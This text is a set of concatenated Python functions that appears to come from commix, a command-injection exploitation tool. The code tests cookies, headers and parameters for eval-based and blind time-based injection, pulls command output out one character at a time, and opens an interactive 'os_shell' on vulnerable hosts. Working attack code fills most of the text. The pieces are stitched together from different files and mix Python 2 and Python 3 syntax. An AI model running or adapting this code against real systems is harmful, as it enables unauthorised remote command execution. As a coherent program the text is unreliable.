failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." sys.stdout.write(settings.print_debug_msg(debug_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as ex: failed = True if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) err_msg = "Problem occurred while removing directory '" + directory + "'." print(settings.print_critical_msg(err_msg)) # eof
def eb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "eval-based code injection technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS url = eb_injector.warning_detection(url, http_request_method) if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = urllib.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace( ")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = re.sub(" ", "%20", payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, delay) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) #if shell: if shell != "": shell = "".join( str(p) for p in shell) # if settings.VERBOSITY_LEVEL >= 1: # print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: cmd = "\"" + cmd + "\"" else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False info_msg = "Retrieving the length of execution output... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell: payload = tfb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL >= 1: print "\n" else: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() success_msg = "Retrieved " + str( output_length) + " characters." print settings.print_success_msg(success_msg) found_chars = True injection_check = False break # Proceed with the next (injection) step! if found_chars == True: num_of_chars = output_length + 1 check_start = 0 check_end = 0 check_start = time.time() if settings.TARGET_OS == "win": cmd = previous_cmd output = [] percent = "0.0" info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE info_msg += "', please wait... [ " + str(percent) + "% ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): if num_of_chars == 1: # Checks {A..Z},{a..z},{0..9},{Symbols} char_pool = range(65, 90) + range(96, 122) else: # Checks {a..z},{A..Z},{0..9},{Symbols} char_pool = range(96, 122) + range(65, 90) char_pool = char_pool + range(48, 57) + range(32, 48) + range( 90, 96) + range(57, 65) + range(122, 127) for ascii_char in char_pool: # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.get_char_alter_shell( separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) else: payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test( url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test( url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if not settings.VERBOSITY_LEVEL >= 1: output.append(chr(ascii_char)) percent = ((num_of_chars * 100) / output_length) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (output_length * 1.0)), 2)) info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE info_msg += "', please wait... [ " + str( float_percent) + "% ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: output.append(chr(ascii_char)) injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) else: check_start = 0 if not settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") sys.stdout.flush() else: print "" check_how_long = 0 output = "" return check_how_long, output
def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" info_msg = "Starting the installer... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if OS is Linux. if platform.system() == "Linux": # You need to have root privileges to run this script if os.geteuid() != 0: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "You need to have root privileges to run this option!" print settings.print_critical_msg(err_msg) raise SystemExit() # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to remove commix? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) uninstall = sys.stdin.readline().replace("\n","").lower() else: uninstall = "" if len(uninstall) == 0: uninstall = "y" if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ uninstall in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + uninstall + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: requirments.do_check(item) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies print Back.RED + err_msg + Style.RESET_ALL print "" raise SystemExit() # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + "... " sys.stdout.write(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" raise SystemExit() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + "... " sys.stdout.write(settings.print_info_msg(info_msg)) try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" raise SystemExit() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() #Create the Output Directory OUTPUT_DIR = ".output/" try: os.stat(OUTPUT_DIR) except: os.mkdir(OUTPUT_DIR) success_msg = "The installation is finished! Type '" success_msg += settings.APPLICATION + "' to launch it." print settings.print_success_msg(success_msg) else : print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + dependencies print settings.print_critical_msg(err_msg) print "" raise SystemExit() # eof
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str( menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: if not settings.SKIP_COMMAND_INJECTIONS: ci = "command injection techniques" ce = "code injection technique" if not menu.options.batch: question_msg = "Do you want to skip test payloads for " question_msg += ci + "? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ci + "." print(settings.print_debug_msg(debug_msg)) settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping " + ce + "." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += str(header_name) + str(the_type) + str( check_parameter) + " for tests." else: info_msg += str(the_type) + str(header_name) + str( check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if not menu.options.tech: menu.options.tech = "" if len(menu.options.tech) == 0 or "c" in menu.options.tech: settings.CLASSIC_STATE = True # Check if it is vulnerable to classic command injection technique. if not settings.SKIP_COMMAND_INJECTIONS and settings.CLASSIC_STATE: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if settings.EVAL_BASED_STATE: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping code injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_CODE_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.CLASSIC_STATE = False if len(menu.options.tech) == 0 or "e" in menu.options.tech: settings.EVAL_BASED_STATE = True # Check if it is vulnerable to eval-based code injection technique. if not settings.SKIP_CODE_INJECTIONS and settings.EVAL_BASED_STATE: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping command injection checks." print(settings.print_debug_msg(debug_msg)) settings.SKIP_COMMAND_INJECTIONS = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.EVAL_BASED_STATE = False if not settings.SKIP_COMMAND_INJECTIONS: if len(menu.options.tech) == 0 or "t" in menu.options.tech: settings.TIME_BASED_STATE = True # Check if it is vulnerable to time-based blind command injection technique. if settings.TIME_BASED_STATE: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False if len(menu.options.tech) == 0 or "f" in menu.options.tech: settings.FILE_BASED_STATE = True # Check if it is vulnerable to file-based semiblind command injection technique. if settings.FILE_BASED_STATE: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True if menu.options.enable_backticks: settings.USE_BACKTICKS = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." print(settings.print_info_msg(info_msg)) if menu.options.test_parameter: err_msg = "The options '-p' and the injection marker cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: menu.options.test_parameter = None else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.ignore_session: # Ignore session session_handler.ignore(url) # Check provided parameters for tests if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[ 1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) elif menu.options.skip_parameter != None: if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[ 1:] settings.TEST_PARAMETER = menu.options.skip_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check injection level, due to the provided testable parameters. if menu.options.level < 2 and menu.options.test_parameter != None: checks.check_injection_level() # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check for skipping injection techniques. if menu.options.skip_tech: if menu.options.tech: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit settings.SKIP_TECHNIQUES = True menu.options.tech = menu.options.skip_tech # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in 